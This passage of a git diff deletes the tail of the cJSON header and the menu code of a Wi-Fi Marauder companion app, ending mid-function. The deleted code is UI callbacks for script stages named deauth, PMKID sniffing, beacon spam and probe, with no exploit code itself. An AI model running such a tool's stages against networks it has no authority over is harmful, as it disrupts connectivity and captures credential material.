*nix builds that support visibility attribute, you can define similar behavior by - -setting default visibility to hidden by adding --fvisibility=hidden (for gcc) -or --xldscope=hidden (for sun cc) -to CFLAGS - -then using the CJSON_API_VISIBILITY flag to "export" the same symbols the way CJSON_EXPORT_SYMBOLS does - -*/ - -#define CJSON_CDECL __cdecl -#define CJSON_STDCALL __stdcall - -/* export symbols by default, this is necessary for copy pasting the C and header file */ -#if !defined(CJSON_HIDE_SYMBOLS) && !defined(CJSON_IMPORT_SYMBOLS) && \ - !defined(CJSON_EXPORT_SYMBOLS) -#define CJSON_EXPORT_SYMBOLS -#endif - -#if defined(CJSON_HIDE_SYMBOLS) -#define CJSON_PUBLIC(type) type CJSON_STDCALL -#elif defined(CJSON_EXPORT_SYMBOLS) -#define CJSON_PUBLIC(type) __declspec(dllexport) type CJSON_STDCALL -#elif defined(CJSON_IMPORT_SYMBOLS) -#define CJSON_PUBLIC(type) __declspec(dllimport) type CJSON_STDCALL -#endif -#else /* !__WINDOWS__ */ -#define CJSON_CDECL -#define CJSON_STDCALL - -#if(defined(__GNUC__) || defined(__SUNPRO_CC) || defined(__SUNPRO_C)) && \ - defined(CJSON_API_VISIBILITY) -#define CJSON_PUBLIC(type) __attribute__((visibility("default"))) type -#else -#define CJSON_PUBLIC(type) type -#endif -#endif - -/* project version */ -#define CJSON_VERSION_MAJOR 1 -#define CJSON_VERSION_MINOR 7 -#define CJSON_VERSION_PATCH 15 - -#include - -/* cJSON Types: */ -#define cJSON_Invalid (0) -#define cJSON_False (1 << 0) -#define cJSON_True (1 << 1) -#define cJSON_NULL (1 << 2) -#define cJSON_Number (1 << 3) -#define cJSON_String (1 << 4) -#define cJSON_Array (1 << 5) -#define cJSON_Object (1 << 6) -#define cJSON_Raw (1 << 7) /* raw json */ - -#define cJSON_IsReference 256 -#define cJSON_StringIsConst 512 - -/* The cJSON structure: */ -typedef struct cJSON { - /* next/prev allow you to walk array/object chains. Alternatively, use GetArraySize/GetArrayItem/GetObjectItem */ - struct cJSON* next; - struct cJSON* prev; - /* An array or object item will have a child pointer pointing to a chain of the items in the array/object. */ - struct cJSON* child; - - /* The type of the item, as above. */ - int type; - - /* The item's string, if type==cJSON_String and type == cJSON_Raw */ - char* valuestring; - /* writing to valueint is DEPRECATED, use cJSON_SetNumberValue instead */ - int valueint; - /* The item's number, if type==cJSON_Number */ - double valuedouble; - - /* The item's name string, if this item is the child of, or is in the list of subitems of an object. */ - char* string; -} cJSON; - -typedef struct cJSON_Hooks { - /* malloc/free are CDECL on Windows regardless of the default calling convention of the compiler, so ensure the hooks allow passing those functions directly. */ - void*(CJSON_CDECL* malloc_fn)(size_t sz); - void(CJSON_CDECL* free_fn)(void* ptr); -} cJSON_Hooks; - -typedef int cJSON_bool; - -/* Limits how deeply nested arrays/objects can be before cJSON rejects to parse them. - * This is to prevent stack overflows. */ -#ifndef CJSON_NESTING_LIMIT -#define CJSON_NESTING_LIMIT 1000 -#endif - -/* returns the version of cJSON as a string */ -CJSON_PUBLIC(const char*) cJSON_Version(void); - -/* Supply malloc, realloc and free functions to cJSON */ -CJSON_PUBLIC(void) cJSON_InitHooks(cJSON_Hooks* hooks); - -/* Memory Management: the caller is always responsible to free the results from all variants of cJSON_Parse (with cJSON_Delete) and cJSON_Print (with stdlib free, cJSON_Hooks.free_fn, or cJSON_free as appropriate). The exception is cJSON_PrintPreallocated, where the caller has full responsibility of the buffer. */ -/* Supply a block of JSON, and this returns a cJSON object you can interrogate. */ -CJSON_PUBLIC(cJSON*) cJSON_Parse(const char* value); -CJSON_PUBLIC(cJSON*) cJSON_ParseWithLength(const char* value, size_t buffer_length); -/* ParseWithOpts allows you to require (and check) that the JSON is null terminated, and to retrieve the pointer to the final byte parsed. */ -/* If you supply a ptr in return_parse_end and parsing fails, then return_parse_end will contain a pointer to the error so will match cJSON_GetErrorPtr(). */ -CJSON_PUBLIC(cJSON*) -cJSON_ParseWithOpts( - const char* value, - const char** return_parse_end, - cJSON_bool require_null_terminated); -CJSON_PUBLIC(cJSON*) -cJSON_ParseWithLengthOpts( - const char* value, - size_t buffer_length, - const char** return_parse_end, - cJSON_bool require_null_terminated); - -/* Render a cJSON entity to text for transfer/storage. */ -CJSON_PUBLIC(char*) cJSON_Print(const cJSON* item); -/* Render a cJSON entity to text for transfer/storage without any formatting. */ -CJSON_PUBLIC(char*) cJSON_PrintUnformatted(const cJSON* item); -/* Render a cJSON entity to text using a buffered strategy. prebuffer is a guess at the final size. guessing well reduces reallocation. fmt=0 gives unformatted, =1 gives formatted */ -CJSON_PUBLIC(char*) cJSON_PrintBuffered(const cJSON* item, int prebuffer, cJSON_bool fmt); -/* Render a cJSON entity to text using a buffer already allocated in memory with given length. Returns 1 on success and 0 on failure. */ -/* NOTE: cJSON is not always 100% accurate in estimating how much memory it will use, so to be safe allocate 5 bytes more than you actually need */ -CJSON_PUBLIC(cJSON_bool) -cJSON_PrintPreallocated(cJSON* item, char* buffer, const int length, const cJSON_bool format); -/* Delete a cJSON entity and all subentities. */ -CJSON_PUBLIC(void) cJSON_Delete(cJSON* item); - -/* Returns the number of items in an array (or object). */ -CJSON_PUBLIC(int) cJSON_GetArraySize(const cJSON* array); -/* Retrieve item number "index" from array "array". Returns NULL if unsuccessful. */ -CJSON_PUBLIC(cJSON*) cJSON_GetArrayItem(const cJSON* array, int index); -/* Get item "string" from object. Case insensitive. */ -CJSON_PUBLIC(cJSON*) cJSON_GetObjectItem(const cJSON* const object, const char* const string); -CJSON_PUBLIC(cJSON*) -cJSON_GetObjectItemCaseSensitive(const cJSON* const object, const char* const string); -CJSON_PUBLIC(cJSON_bool) cJSON_HasObjectItem(const cJSON* object, const char* string); -/* For analysing failed parses. This returns a pointer to the parse error. You'll probably need to look a few chars back to make sense of it. Defined when cJSON_Parse() returns 0. 0 when cJSON_Parse() succeeds. */ -CJSON_PUBLIC(const char*) cJSON_GetErrorPtr(void); - -/* Check item type and return its value */ -CJSON_PUBLIC(char*) cJSON_GetStringValue(const cJSON* const item); -CJSON_PUBLIC(double) cJSON_GetNumberValue(const cJSON* const item); - -/* These functions check the type of an item */ -CJSON_PUBLIC(cJSON_bool) cJSON_IsInvalid(const cJSON* const item); -CJSON_PUBLIC(cJSON_bool) cJSON_IsFalse(const cJSON* const item); -CJSON_PUBLIC(cJSON_bool) cJSON_IsTrue(const cJSON* const item); -CJSON_PUBLIC(cJSON_bool) cJSON_IsBool(const cJSON* const item); -CJSON_PUBLIC(cJSON_bool) cJSON_IsNull(const cJSON* const item); -CJSON_PUBLIC(cJSON_bool) cJSON_IsNumber(const cJSON* const item); -CJSON_PUBLIC(cJSON_bool) cJSON_IsString(const cJSON* const item); -CJSON_PUBLIC(cJSON_bool) cJSON_IsArray(const cJSON* const item); -CJSON_PUBLIC(cJSON_bool) cJSON_IsObject(const cJSON* const item); -CJSON_PUBLIC(cJSON_bool) cJSON_IsRaw(const cJSON* const item); - -/* These calls create a cJSON item of the appropriate type. */ -CJSON_PUBLIC(cJSON*) cJSON_CreateNull(void); -CJSON_PUBLIC(cJSON*) cJSON_CreateTrue(void); -CJSON_PUBLIC(cJSON*) cJSON_CreateFalse(void); -CJSON_PUBLIC(cJSON*) cJSON_CreateBool(cJSON_bool boolean); -CJSON_PUBLIC(cJSON*) cJSON_CreateNumber(double num); -CJSON_PUBLIC(cJSON*) cJSON_CreateString(const char* string); -/* raw json */ -CJSON_PUBLIC(cJSON*) cJSON_CreateRaw(const char* raw); -CJSON_PUBLIC(cJSON*) cJSON_CreateArray(void); -CJSON_PUBLIC(cJSON*) cJSON_CreateObject(void); - -/* Create a string where valuestring references a string so - * it will not be freed by cJSON_Delete */ -CJSON_PUBLIC(cJSON*) cJSON_CreateStringReference(const char* string); -/* Create an object/array that only references it's elements so - * they will not be freed by cJSON_Delete */ -CJSON_PUBLIC(cJSON*) cJSON_CreateObjectReference(const cJSON* child); -CJSON_PUBLIC(cJSON*) cJSON_CreateArrayReference(const cJSON* child); - -/* These utilities create an Array of count items. - * The parameter count cannot be greater than the number of elements in the number array, otherwise array access will be out of bounds.*/ -CJSON_PUBLIC(cJSON*) cJSON_CreateIntArray(const int* numbers, int count); -CJSON_PUBLIC(cJSON*) cJSON_CreateFloatArray(const float* numbers, int count); -CJSON_PUBLIC(cJSON*) cJSON_CreateDoubleArray(const double* numbers, int count); -CJSON_PUBLIC(cJSON*) cJSON_CreateStringArray(const char* const* strings, int count); - -/* Append item to the specified array/object. */ -CJSON_PUBLIC(cJSON_bool) cJSON_AddItemToArray(cJSON* array, cJSON* item); -CJSON_PUBLIC(cJSON_bool) cJSON_AddItemToObject(cJSON* object, const char* string, cJSON* item); -/* Use this when string is definitely const (i.e. a literal, or as good as), and will definitely survive the cJSON object. - * WARNING: When this function was used, make sure to always check that (item->type & cJSON_StringIsConst) is zero before - * writing to `item->string` */ -CJSON_PUBLIC(cJSON_bool) cJSON_AddItemToObjectCS(cJSON* object, const char* string, cJSON* item); -/* Append reference to item to the specified array/object. Use this when you want to add an existing cJSON to a new cJSON, but don't want to corrupt your existing cJSON. */ -CJSON_PUBLIC(cJSON_bool) cJSON_AddItemReferenceToArray(cJSON* array, cJSON* item); -CJSON_PUBLIC(cJSON_bool) -cJSON_AddItemReferenceToObject(cJSON* object, const char* string, cJSON* item); - -/* Remove/Detach items from Arrays/Objects. */ -CJSON_PUBLIC(cJSON*) cJSON_DetachItemViaPointer(cJSON* parent, cJSON* const item); -CJSON_PUBLIC(cJSON*) cJSON_DetachItemFromArray(cJSON* array, int which); -CJSON_PUBLIC(void) cJSON_DeleteItemFromArray(cJSON* array, int which); -CJSON_PUBLIC(cJSON*) cJSON_DetachItemFromObject(cJSON* object, const char* string); -CJSON_PUBLIC(cJSON*) cJSON_DetachItemFromObjectCaseSensitive(cJSON* object, const char* string); -CJSON_PUBLIC(void) cJSON_DeleteItemFromObject(cJSON* object, const char* string); -CJSON_PUBLIC(void) cJSON_DeleteItemFromObjectCaseSensitive(cJSON* object, const char* string); - -/* Update array items. */ -CJSON_PUBLIC(cJSON_bool) -cJSON_InsertItemInArray( - cJSON* array, - int which, - cJSON* newitem); /* Shifts pre-existing items to the right. */ -CJSON_PUBLIC(cJSON_bool) -cJSON_ReplaceItemViaPointer(cJSON* const parent, cJSON* const item, cJSON* replacement); -CJSON_PUBLIC(cJSON_bool) cJSON_ReplaceItemInArray(cJSON* array, int which, cJSON* newitem); -CJSON_PUBLIC(cJSON_bool) -cJSON_ReplaceItemInObject(cJSON* object, const char* string, cJSON* newitem); -CJSON_PUBLIC(cJSON_bool) -cJSON_ReplaceItemInObjectCaseSensitive(cJSON* object, const char* string, cJSON* newitem); - -/* Duplicate a cJSON item */ -CJSON_PUBLIC(cJSON*) cJSON_Duplicate(const cJSON* item, cJSON_bool recurse); -/* Duplicate will create a new, identical cJSON item to the one you pass, in new memory that will - * need to be released. With recurse!=0, it will duplicate any children connected to the item. - * The item->next and ->prev pointers are always zero on return from Duplicate. */ -/* Recursively compare two cJSON items for equality. If either a or b is NULL or invalid, they will be considered unequal. - * case_sensitive determines if object keys are treated case sensitive (1) or case insensitive (0) */ -CJSON_PUBLIC(cJSON_bool) -cJSON_Compare(const cJSON* const a, const cJSON* const b, const cJSON_bool case_sensitive); - -/* Minify a strings, remove blank characters(such as ' ', '\t', '\r', '\n') from strings. - * The input pointer json cannot point to a read-only address area, such as a string constant, - * but should point to a readable and writable address area. */ -CJSON_PUBLIC(void) cJSON_Minify(char* json); - -/* Helper functions for creating and adding items to an object at the same time. - * They return the added item or NULL on failure. */ -CJSON_PUBLIC(cJSON*) cJSON_AddNullToObject(cJSON* const object, const char* const name); -CJSON_PUBLIC(cJSON*) cJSON_AddTrueToObject(cJSON* const object, const char* const name); -CJSON_PUBLIC(cJSON*) cJSON_AddFalseToObject(cJSON* const object, const char* const name); -CJSON_PUBLIC(cJSON*) -cJSON_AddBoolToObject(cJSON* const object, const char* const name, const cJSON_bool boolean); -CJSON_PUBLIC(cJSON*) -cJSON_AddNumberToObject(cJSON* const object, const char* const name, const double number); -CJSON_PUBLIC(cJSON*) -cJSON_AddStringToObject(cJSON* const object, const char* const name, const char* const string); -CJSON_PUBLIC(cJSON*) -cJSON_AddRawToObject(cJSON* const object, const char* const name, const char* const raw); -CJSON_PUBLIC(cJSON*) cJSON_AddObjectToObject(cJSON* const object, const char* const name); -CJSON_PUBLIC(cJSON*) cJSON_AddArrayToObject(cJSON* const object, const char* const name); - -/* When assigning an integer value, it needs to be propagated to valuedouble too. */ -#define cJSON_SetIntValue(object, number) \ - ((object) ? (object)->valueint = (object)->valuedouble = (number) : (number)) -/* helper for the cJSON_SetNumberValue macro */ -CJSON_PUBLIC(double) cJSON_SetNumberHelper(cJSON* object, double number); -#define cJSON_SetNumberValue(object, number) \ - ((object != NULL) ? cJSON_SetNumberHelper(object, (double)number) : (number)) -/* Change the valuestring of a cJSON_String object, only takes effect when type of object is cJSON_String */ -CJSON_PUBLIC(char*) cJSON_SetValuestring(cJSON* object, const char* valuestring); - -/* Macro for iterating over an array or object */ -#define cJSON_ArrayForEach(element, array) \ - for(element = (array != NULL) ? (array)->child : NULL; element != NULL; \ - element = element->next) - -/* malloc/free objects using the malloc/free functions that have been set with cJSON_InitHooks */ -CJSON_PUBLIC(void*) cJSON_malloc(size_t size); -CJSON_PUBLIC(void) cJSON_free(void* object); - -#ifdef __cplusplus -} -#endif - -#endif diff --git a/applications/external/wifi_marauder_companion/script/menu/wifi_marauder_script_stage_menu.c b/applications/external/wifi_marauder_companion/script/menu/wifi_marauder_script_stage_menu.c deleted file mode 100644 index 6fe853eb6..000000000 --- a/applications/external/wifi_marauder_companion/script/menu/wifi_marauder_script_stage_menu.c +++ /dev/null @@ -1,32 +0,0 @@ -#include "wifi_marauder_script_stage_menu.h" - -WifiMarauderScriptStageMenu* - wifi_marauder_script_stage_menu_create(WifiMarauderScriptStageType stage_type) { - WifiMarauderScriptStageMenu* script_stage_menu = malloc(sizeof(WifiMarauderScriptStageMenu)); - - switch(stage_type) { -#define ADD_STAGE(name, id) \ - case WifiMarauderScriptStageType##id: \ - wifi_marauder_script_stage_menu_##name##_load(script_stage_menu); \ - break; - -#include "wifi_marauder_script_stage_menu_config.h" -#undef ADD_STAGE - } - return script_stage_menu; -} - -void wifi_marauder_script_stage_menu_free(WifiMarauderScriptStageMenu* stage_menu) { - if(stage_menu == NULL) { - return; - } - for(uint32_t i = 0; i < stage_menu->num_items; i++) { - WifiMarauderScriptMenuItem* item = &(stage_menu->items[i]); - for(int j = 0; j < item->num_options; j++) { - free(item->options[j]); - } - free(item->name); - } - free(stage_menu->items); - free(stage_menu); -} diff --git a/applications/external/wifi_marauder_companion/script/menu/wifi_marauder_script_stage_menu.h b/applications/external/wifi_marauder_companion/script/menu/wifi_marauder_script_stage_menu.h deleted file mode 100644 index f5186526c..000000000 --- a/applications/external/wifi_marauder_companion/script/menu/wifi_marauder_script_stage_menu.h +++ /dev/null @@ -1,42 +0,0 @@ -#pragma once - -#include -#include "../wifi_marauder_script.h" - -#define ITEM_EDIT_MAX_OPTIONS (12) - -typedef void (*VariableItemSetupCallback)(VariableItem* item); -typedef void (*VariableItemSelectCallback)(void* context); - -typedef enum WifiMarauderScriptMenuItemType { - WifiMarauderScriptMenuItemTypeString, - WifiMarauderScriptMenuItemTypeNumber, - WifiMarauderScriptMenuItemTypeOptionsString, - WifiMarauderScriptMenuItemTypeOptionsNumber, - WifiMarauderScriptMenuItemTypeListString, - WifiMarauderScriptMenuItemTypeListNumber -} WifiMarauderScriptMenuItemType; - -typedef struct WifiMarauderScriptMenuItem { - char* name; - WifiMarauderScriptMenuItemType type; - int num_options; - char* options[ITEM_EDIT_MAX_OPTIONS]; - VariableItemSetupCallback setup_callback; - VariableItemChangeCallback change_callback; - VariableItemSelectCallback select_callback; -} WifiMarauderScriptMenuItem; - -typedef struct WifiMarauderScriptStageMenu { - WifiMarauderScriptMenuItem* items; - uint32_t num_items; -} WifiMarauderScriptStageMenu; - -#define ADD_STAGE(name, id) \ - void wifi_marauder_script_stage_menu_##name##_load(WifiMarauderScriptStageMenu*); -#include "wifi_marauder_script_stage_menu_config.h" -#undef ADD_STAGE - -WifiMarauderScriptStageMenu* - wifi_marauder_script_stage_menu_create(WifiMarauderScriptStageType stage_type); -void wifi_marauder_script_stage_menu_free(WifiMarauderScriptStageMenu* list); diff --git a/applications/external/wifi_marauder_companion/script/menu/wifi_marauder_script_stage_menu_beaconap.c b/applications/external/wifi_marauder_companion/script/menu/wifi_marauder_script_stage_menu_beaconap.c deleted file mode 100644 index 35a74ee3d..000000000 --- a/applications/external/wifi_marauder_companion/script/menu/wifi_marauder_script_stage_menu_beaconap.c +++ /dev/null @@ -1,27 +0,0 @@ -#include "../../wifi_marauder_app_i.h" - -void wifi_marauder_beaconap_stage_timeout_setup_callback(VariableItem* item) { - WifiMarauderApp* app = variable_item_get_context(item); - WifiMarauderScriptStageBeaconAp* stage = app->script_edit_selected_stage->stage; - char timeout_str[32]; - snprintf(timeout_str, sizeof(timeout_str), "%d", stage->timeout); - variable_item_set_current_value_text(item, timeout_str); -} - -void wifi_marauder_beaconap_stage_timeout_select_callback(void* context) { - WifiMarauderApp* app = context; - WifiMarauderScriptStageBeaconAp* stage_beaconap = app->script_edit_selected_stage->stage; - app->user_input_number_reference = &stage_beaconap->timeout; -} - -void wifi_marauder_script_stage_menu_beaconap_load(WifiMarauderScriptStageMenu* stage_menu) { - stage_menu->num_items = 1; - stage_menu->items = malloc(1 * sizeof(WifiMarauderScriptMenuItem)); - - stage_menu->items[0] = (WifiMarauderScriptMenuItem){ - .name = "Timeout", - .type = WifiMarauderScriptMenuItemTypeNumber, - .num_options = 1, - .setup_callback = wifi_marauder_beaconap_stage_timeout_setup_callback, - .select_callback = wifi_marauder_beaconap_stage_timeout_select_callback}; -} \ No newline at end of file diff --git a/applications/external/wifi_marauder_companion/script/menu/wifi_marauder_script_stage_menu_beaconlist.c b/applications/external/wifi_marauder_companion/script/menu/wifi_marauder_script_stage_menu_beaconlist.c deleted file mode 100644 index 6f320db3e..000000000 --- a/applications/external/wifi_marauder_companion/script/menu/wifi_marauder_script_stage_menu_beaconlist.c +++ /dev/null @@ -1,59 +0,0 @@ -#include "../../wifi_marauder_app_i.h" - -void wifi_marauder_beaconlist_stage_ssids_select_callback(void* context) { - WifiMarauderApp* app = context; - WifiMarauderScriptStageBeaconList* stage_beaconlist = app->script_edit_selected_stage->stage; - app->script_stage_edit_strings_reference = &stage_beaconlist->ssids; - app->script_stage_edit_string_count_reference = &stage_beaconlist->ssid_count; -} - -void wifi_marauder_beaconlist_stage_random_ssids_setup_callback(VariableItem* item) { - WifiMarauderApp* app = variable_item_get_context(item); - WifiMarauderScriptStageBeaconList* stage = app->script_edit_selected_stage->stage; - char random_ssids_str[32]; - snprintf(random_ssids_str, sizeof(random_ssids_str), "%d", stage->random_ssids); - variable_item_set_current_value_text(item, random_ssids_str); -} - -void wifi_marauder_beaconlist_stage_random_ssids_select_callback(void* context) { - WifiMarauderApp* app = context; - WifiMarauderScriptStageBeaconList* stage_beaconlist = app->script_edit_selected_stage->stage; - app->user_input_number_reference = &stage_beaconlist->random_ssids; -} - -void wifi_marauder_beaconlist_stage_timeout_setup_callback(VariableItem* item) { - WifiMarauderApp* app = variable_item_get_context(item); - WifiMarauderScriptStageBeaconList* stage = app->script_edit_selected_stage->stage; - char timeout_str[32]; - snprintf(timeout_str, sizeof(timeout_str), "%d", stage->timeout); - variable_item_set_current_value_text(item, timeout_str); -} - -void wifi_marauder_beaconlist_stage_timeout_select_callback(void* context) { - WifiMarauderApp* app = context; - WifiMarauderScriptStageBeaconList* stage_beaconlist = app->script_edit_selected_stage->stage; - app->user_input_number_reference = &stage_beaconlist->timeout; -} - -void wifi_marauder_script_stage_menu_beaconlist_load(WifiMarauderScriptStageMenu* stage_menu) { - stage_menu->num_items = 3; - stage_menu->items = malloc(3 * sizeof(WifiMarauderScriptMenuItem)); - - stage_menu->items[0] = (WifiMarauderScriptMenuItem){ - .name = strdup("SSIDs"), - .type = WifiMarauderScriptMenuItemTypeListString, - .num_options = 1, - .select_callback = wifi_marauder_beaconlist_stage_ssids_select_callback}; - stage_menu->items[1] = (WifiMarauderScriptMenuItem){ - .name = strdup("Generate random"), - .type = WifiMarauderScriptMenuItemTypeNumber, - .num_options = 1, - .setup_callback = wifi_marauder_beaconlist_stage_random_ssids_setup_callback, - .select_callback = wifi_marauder_beaconlist_stage_random_ssids_select_callback}; - stage_menu->items[2] = (WifiMarauderScriptMenuItem){ - .name = strdup("Timeout"), - .type = WifiMarauderScriptMenuItemTypeNumber, - .num_options = 1, - .setup_callback = wifi_marauder_beaconlist_stage_timeout_setup_callback, - .select_callback = wifi_marauder_beaconlist_stage_timeout_select_callback}; -} \ No newline at end of file diff --git a/applications/external/wifi_marauder_companion/script/menu/wifi_marauder_script_stage_menu_config.h b/applications/external/wifi_marauder_companion/script/menu/wifi_marauder_script_stage_menu_config.h deleted file mode 100644 index 1fd2a314b..000000000 --- a/applications/external/wifi_marauder_companion/script/menu/wifi_marauder_script_stage_menu_config.h +++ /dev/null @@ -1,14 +0,0 @@ -ADD_STAGE(scan, Scan) -ADD_STAGE(select, Select) -ADD_STAGE(deauth, Deauth) -ADD_STAGE(probe, Probe) -ADD_STAGE(sniffraw, SniffRaw) -ADD_STAGE(sniffbeacon, SniffBeacon) -ADD_STAGE(sniffdeauth, SniffDeauth) -ADD_STAGE(sniffesp, SniffEsp) -ADD_STAGE(sniffpmkid, SniffPmkid) -ADD_STAGE(sniffpwn, SniffPwn) -ADD_STAGE(beaconlist, BeaconList) -ADD_STAGE(beaconap, BeaconAp) -ADD_STAGE(exec, Exec) -ADD_STAGE(delay, Delay) \ No newline at end of file diff --git a/applications/external/wifi_marauder_companion/script/menu/wifi_marauder_script_stage_menu_deauth.c b/applications/external/wifi_marauder_companion/script/menu/wifi_marauder_script_stage_menu_deauth.c deleted file mode 100644 index b15b6f461..000000000 --- a/applications/external/wifi_marauder_companion/script/menu/wifi_marauder_script_stage_menu_deauth.c +++ /dev/null @@ -1,27 +0,0 @@ -#include "../../wifi_marauder_app_i.h" - -void wifi_marauder_deauth_stage_timeout_setup_callback(VariableItem* item) { - WifiMarauderApp* app = variable_item_get_context(item); - WifiMarauderScriptStageDeauth* stage = app->script_edit_selected_stage->stage; - char timeout_str[32]; - snprintf(timeout_str, sizeof(timeout_str), "%d", stage->timeout); - variable_item_set_current_value_text(item, timeout_str); -} - -void wifi_marauder_deauth_stage_timeout_select_callback(void* context) { - WifiMarauderApp* app = context; - WifiMarauderScriptStageDeauth* stage_deauth = app->script_edit_selected_stage->stage; - app->user_input_number_reference = &stage_deauth->timeout; -} - -void wifi_marauder_script_stage_menu_deauth_load(WifiMarauderScriptStageMenu* stage_menu) { - stage_menu->num_items = 1; - stage_menu->items = malloc(1 * sizeof(WifiMarauderScriptMenuItem)); - - stage_menu->items[0] = (WifiMarauderScriptMenuItem){ - .name = strdup("Timeout"), - .type = WifiMarauderScriptMenuItemTypeNumber, - .num_options = 1, - .setup_callback = wifi_marauder_deauth_stage_timeout_setup_callback, - .select_callback = wifi_marauder_deauth_stage_timeout_select_callback}; -} \ No newline at end of file diff --git a/applications/external/wifi_marauder_companion/script/menu/wifi_marauder_script_stage_menu_delay.c b/applications/external/wifi_marauder_companion/script/menu/wifi_marauder_script_stage_menu_delay.c deleted file mode 100644 index ffd74f720..000000000 --- a/applications/external/wifi_marauder_companion/script/menu/wifi_marauder_script_stage_menu_delay.c +++ /dev/null @@ -1,27 +0,0 @@ -#include "../../wifi_marauder_app_i.h" - -void wifi_marauder_delay_stage_timeout_setup_callback(VariableItem* item) { - WifiMarauderApp* app = variable_item_get_context(item); - WifiMarauderScriptStageDelay* stage = app->script_edit_selected_stage->stage; - char timeout_str[32]; - snprintf(timeout_str, sizeof(timeout_str), "%d", stage->timeout); - variable_item_set_current_value_text(item, timeout_str); -} - -void wifi_marauder_delay_stage_timeout_select_callback(void* context) { - WifiMarauderApp* app = context; - WifiMarauderScriptStageDelay* stage_delay = app->script_edit_selected_stage->stage; - app->user_input_number_reference = &stage_delay->timeout; -} - -void wifi_marauder_script_stage_menu_delay_load(WifiMarauderScriptStageMenu* stage_menu) { - stage_menu->num_items = 1; - stage_menu->items = malloc(1 * sizeof(WifiMarauderScriptMenuItem)); - - stage_menu->items[0] = (WifiMarauderScriptMenuItem){ - .name = strdup("Timeout"), - .type = WifiMarauderScriptMenuItemTypeNumber, - .num_options = 1, - .setup_callback = wifi_marauder_delay_stage_timeout_setup_callback, - .select_callback = wifi_marauder_delay_stage_timeout_select_callback}; -} \ No newline at end of file diff --git a/applications/external/wifi_marauder_companion/script/menu/wifi_marauder_script_stage_menu_exec.c b/applications/external/wifi_marauder_companion/script/menu/wifi_marauder_script_stage_menu_exec.c deleted file mode 100644 index 62afdc2f3..000000000 --- a/applications/external/wifi_marauder_companion/script/menu/wifi_marauder_script_stage_menu_exec.c +++ /dev/null @@ -1,30 +0,0 @@ -#include "../../wifi_marauder_app_i.h" - -void wifi_marauder_exec_stage_filter_setup_callback(VariableItem* item) { - WifiMarauderApp* app = variable_item_get_context(item); - WifiMarauderScriptStageExec* stage = app->script_edit_selected_stage->stage; - if(stage->command != NULL) { - variable_item_set_current_value_text(item, stage->command); - } -} - -void wifi_marauder_exec_stage_filter_select_callback(void* context) { - WifiMarauderApp* app = context; - WifiMarauderScriptStageExec* stage_select = app->script_edit_selected_stage->stage; - if(stage_select->command == NULL) { - stage_select->command = malloc(128); - } - app->user_input_string_reference = &stage_select->command; -} - -void wifi_marauder_script_stage_menu_exec_load(WifiMarauderScriptStageMenu* stage_menu) { - stage_menu->num_items = 1; - stage_menu->items = malloc(1 * sizeof(WifiMarauderScriptMenuItem)); - - stage_menu->items[0] = (WifiMarauderScriptMenuItem){ - .name = strdup("Command"), - .type = WifiMarauderScriptMenuItemTypeString, - .num_options = 1, - .setup_callback = wifi_marauder_exec_stage_filter_setup_callback, - .select_callback = wifi_marauder_exec_stage_filter_select_callback}; -} \ No newline at end of file diff --git a/applications/external/wifi_marauder_companion/script/menu/wifi_marauder_script_stage_menu_probe.c b/applications/external/wifi_marauder_companion/script/menu/wifi_marauder_script_stage_menu_probe.c deleted file mode 100644 index 53fa26f47..000000000 --- a/applications/external/wifi_marauder_companion/script/menu/wifi_marauder_script_stage_menu_probe.c +++ /dev/null @@ -1,27 +0,0 @@ -#include "../../wifi_marauder_app_i.h" - -void wifi_marauder_probe_stage_timeout_setup_callback(VariableItem* item) { - WifiMarauderApp* app = variable_item_get_context(item); - WifiMarauderScriptStageProbe* stage = app->script_edit_selected_stage->stage; - char timeout_str[32]; - snprintf(timeout_str, sizeof(timeout_str), "%d", stage->timeout); - variable_item_set_current_value_text(item, timeout_str); -} - -void wifi_marauder_probe_stage_timeout_select_callback(void* context) { - WifiMarauderApp* app = context; - WifiMarauderScriptStageProbe* stage_probe = app->script_edit_selected_stage->stage; - app->user_input_number_reference = &stage_probe->timeout; -} - -void wifi_marauder_script_stage_menu_probe_load(WifiMarauderScriptStageMenu* stage_menu) { - stage_menu->num_items = 1; - stage_menu->items = malloc(1 * sizeof(WifiMarauderScriptMenuItem)); - - stage_menu->items[0] = (WifiMarauderScriptMenuItem){ - .name = strdup("Timeout"), - .type = WifiMarauderScriptMenuItemTypeNumber, - .num_options = 1, - .setup_callback = wifi_marauder_probe_stage_timeout_setup_callback, - .select_callback = wifi_marauder_probe_stage_timeout_select_callback}; -} \ No newline at end of file diff --git a/applications/external/wifi_marauder_companion/script/menu/wifi_marauder_script_stage_menu_scan.c b/applications/external/wifi_marauder_companion/script/menu/wifi_marauder_script_stage_menu_scan.c deleted file mode 100644 index 3aab740bb..000000000 --- a/applications/external/wifi_marauder_companion/script/menu/wifi_marauder_script_stage_menu_scan.c +++ /dev/null @@ -1,93 +0,0 @@ -#include "../../wifi_marauder_app_i.h" - -void wifi_marauder_scan_stage_type_setup_callback(VariableItem* item) { - WifiMarauderApp* app = variable_item_get_context(item); - WifiMarauderScriptStageScan* stage = app->script_edit_selected_stage->stage; - variable_item_set_current_value_index(item, stage->type); -} - -void wifi_marauder_scan_stage_type_change_callback(VariableItem* item) { - WifiMarauderApp* app = variable_item_get_context(item); - - // Get menu item - uint8_t current_stage_index = variable_item_list_get_selected_item_index(app->var_item_list); - const WifiMarauderScriptMenuItem* menu_item = - &app->script_stage_menu->items[current_stage_index]; - - // Defines the text of the selected option - uint8_t option_index = variable_item_get_current_value_index(item); - variable_item_set_current_value_text(item, menu_item->options[option_index]); - - // Updates the attribute value of the current stage - WifiMarauderScriptStageScan* stage = app->script_edit_selected_stage->stage; - stage->type = option_index; -} - -void wifi_marauder_scan_stage_channel_setup_callback(VariableItem* item) { - WifiMarauderApp* app = variable_item_get_context(item); - WifiMarauderScriptStageScan* stage = app->script_edit_selected_stage->stage; - if(stage->channel >= 0 && stage->channel < 12) { - variable_item_set_current_value_index(item, stage->channel); - } else { - variable_item_set_current_value_index(item, 0); - } -} - -void wifi_marauder_scan_stage_channel_change_callback(VariableItem* item) { - WifiMarauderApp* app = variable_item_get_context(item); - - // Get menu item - uint8_t current_stage_index = variable_item_list_get_selected_item_index(app->var_item_list); - const WifiMarauderScriptMenuItem* menu_item = - &app->script_stage_menu->items[current_stage_index]; - - // Defines the text of the selected option - uint8_t option_index = variable_item_get_current_value_index(item); - variable_item_set_current_value_text(item, menu_item->options[option_index]); - - // Updates the attribute value of the current stage - WifiMarauderScriptStageScan* stage = app->script_edit_selected_stage->stage; - stage->channel = option_index; -} - -void wifi_marauder_scan_stage_timeout_setup_callback(VariableItem* item) { - 